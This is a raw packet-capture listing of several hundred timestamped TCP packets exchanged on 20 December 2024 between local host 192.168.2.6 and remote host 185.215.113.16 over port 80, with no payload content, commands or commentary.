Dec 20, 2024 16:20:00.076175928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.076343060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.076379061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.076436996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.076515913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.077173948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.077332020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.077367067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.077380896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.077413082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.078265905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.078322887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.078358889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.078408003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.078629971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.078691006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.078753948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.078788042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.079355955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.104142904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.104160070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.104172945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.104209900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.104427099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.104439974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.104451895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.104482889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.104502916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.105091095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.132188082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.132261038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.132277012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.132292986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.132328987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.132493019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.132652998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.132674932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.132708073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.133274078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.133317947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.133352995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.133369923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.133625031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.134052992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.134121895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.134135962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.134166002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.134809017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.134855986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.134938955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.137891054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.137906075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.137921095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.137963057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.138000011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.138082027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.138283014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.138330936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.138361931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.138376951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.138432026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.138957977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.192337036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.193547010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.193646908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.193661928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.193703890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.193896055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.193936110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.194087982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.194102049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.194149971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.194889069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.194902897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.194916010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.194956064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.195573092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.195590019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.195604086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.195650101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.195664883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.196244001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.196331978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.196345091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.196413040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.197052002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.197105885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.197118998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.197154045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.197180986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.197861910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.197947025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.197962046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.198019981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.198579073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.198671103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.198682070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.198684931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.198730946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.199357033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.199445963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.199460030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.199495077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.239212990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.258640051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.258676052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.258688927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.258785963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.258984089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.259028912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.259051085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.259063005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.259103060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.259880066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.259893894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.259906054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.259943008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.260449886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.260554075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.260565996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.260565996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.260621071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.261301041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.261315107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.261327028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.261359930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.261996984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.262053013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.262149096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.262162924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.262212038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.262762070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.262872934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.262886047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.262916088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.263569117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.263624907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.263644934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.263657093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.263715029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.264347076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.264481068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.264494896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.264530897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.265192032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.265206099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.265219927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.265249014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.265280962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.265908957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.266016960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.266030073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.266062021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.266686916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.266731024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.266793966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.266807079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.266848087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.267520905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.267607927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.267621994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.267657042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.267715931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.268274069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.268318892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.268341064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.268353939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.268388987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.269051075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.269181013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.269193888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.269223928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.269906998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.270026922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.270066023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.270078897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.270121098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.270647049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.270746946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.270760059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.270792961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.272145987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.272181988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.272216082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.272236109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.272265911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.279042006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.296488047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.296564102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.296578884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.296619892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.296891928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.296936989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.297022104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.297036886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.297075987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.297620058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.298965931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.319812059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.324431896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.324527979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.324541092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.324546099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.324589014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.324851990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.324870110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.324887991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.324915886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.325583935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.325629950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.325649977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.325665951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.325862885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.326375961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.326426029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.326442003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.326477051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.327303886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.327364922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.327486992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.330264091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.330313921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.330323935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.330327034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.330527067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.330565929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.330615997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.330662012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.330852032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.330867052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.331355095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.331465006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.339060068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.387285948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.387372971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.387387991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.387429953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.387686968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.387731075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.387856007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.387870073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.388487101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.388494015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.388567924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.388582945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.388618946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.389317036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.389377117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.389406919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.389420986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.389458895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.389992952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.390110016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.390122890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.390157938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.390793085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.390870094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.390883923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.390913010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.390944958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.391731024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.391745090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.391792059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.391896963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.392395020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.392455101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.392468929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.392472029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.392520905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.393158913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.393237114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.393249989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.393289089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.401349068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.450808048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.450901985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.450915098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.450978041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.451345921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.451360941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.451373100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.451399088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.451416969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.451935053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.452003002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.452017069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.452049017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.452765942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.452781916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.452799082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.452852964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.453603029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.453617096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.453629971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.453664064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.454381943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.454396009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.454411983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.454438925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.454471111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.455126047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.455223083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.455235958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.455279112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.455914974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.455959082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.455987930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.456002951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.456064939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.456567049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.456681967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.456696033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.456732035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.457387924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.457437992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.457437992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.457452059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.457598925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.458276033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.458441019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.458453894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.458483934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.459085941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.459130049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.459150076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.459162951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.459208012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.459726095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.459748983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.459770918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.459800005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.460480928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.460524082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.460547924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.460561991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.461141109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.461199045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.461307049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.461319923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.461355925 CET	49828	80	192.168.2.6	185.215.113.16
